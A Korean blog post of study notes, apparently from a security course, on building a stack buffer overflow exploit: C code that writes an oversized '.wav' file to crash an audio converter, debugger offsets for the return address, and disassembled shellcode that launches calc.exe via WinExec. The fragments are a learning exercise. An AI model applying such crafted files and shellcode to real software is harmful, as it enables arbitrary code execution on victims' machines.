카테고리 없음

20일차

컴공 2013. 5. 3. 01:52
반응형

파일입출력
#include "stdafx.h"
#include <stdio.h>
#include <conio.h>
#include <string.h>
int main(int argc, char* argv[])
{
 int state;
 //파일 개방
 FILE * file = fopen("fputs.wav", "wt");
 if(file==NULL){
  printf("파일을 열 수 없습니다.\n");
  return 0;
 }
 
 //puts 함수의 활용
 // puts("puts함수");
 
 //fputs함수의 활용
 // fputs("fputs\n", stdout);
 
 //fputs 함수의 화룡2
 int i;
 char date[5000]="";
 
 for(i = 0; i < 4128; i++){
     strncat(date, "\x42", 1);

 }
 printf("%s",date);

 fputs(date, file);
 
 //파일종결
 state=fclose(file);
 if(state != 0){
  printf("파일을 닫을 수 없습니다.");
  return 0;
 }

46366846

4128

004AB28D   E8 960A0000      CALL Alltomp3.004ABD28

EBP+4    >|004A>RETURN to Alltomp3.004A95D4   // 되돌아가는 지점

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\계산기 옵코드 변환방법

#include "stdafx.h"
/*
void func(char *p){
 char buf[4];
 memcpy(buf, p, 1024);//메모리를 복사함 p값을 1024byte만큼 복사해 buf에 넣는다.
}
*/
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
/*
 char str[1024] = "\x90\x90\x90\x90\x90\x90\x90\x90\xED\1E\97\7C; //4byte씩 들어감
 func(str);
 return 0;
*/
 char calc[] = "calc.exe";
 WinExec(calc, SW_SHOW);

}

 

-------------------------C원본 코드

636C6163
6578652E
xor dl, dl
0012FF2C


00401000  /$  83EC 0C         SUB ESP,0C
00401003      B8 63616C63     MOV EAX,636C6163
00401008      B9 2E657865     MOV ECX,6578652E
0040100D      32D2            XOR DL,DL
0040100F      890424          MOV DWORD PTR SS:[ESP],EAX
00401012      8D0424          LEA EAX,DWORD PTR SS:[ESP]
00401015      6A 05           PUSH 5
00401017      50              PUSH EAX
00401018      894C24 0C       MOV DWORD PTR SS:[ESP+C],ECX
0040101C      885424 10       MOV BYTE PTR SS:[ESP+10],DL
00401020      BA 4D11867C     MOV EDX,kernel32.WinExec
00401025      FFD2            CALL EDX
00401027      90              NOP
00401028      90              NOP
00401029      90              NOP
0040102A      90              NOP
0040102B      90              NOP
0040102C      90              NOP
0040102D  |.  83C4 0C         ADD ESP,0C
00401030  \.  C2 1000         RETN 10


 

 

반응형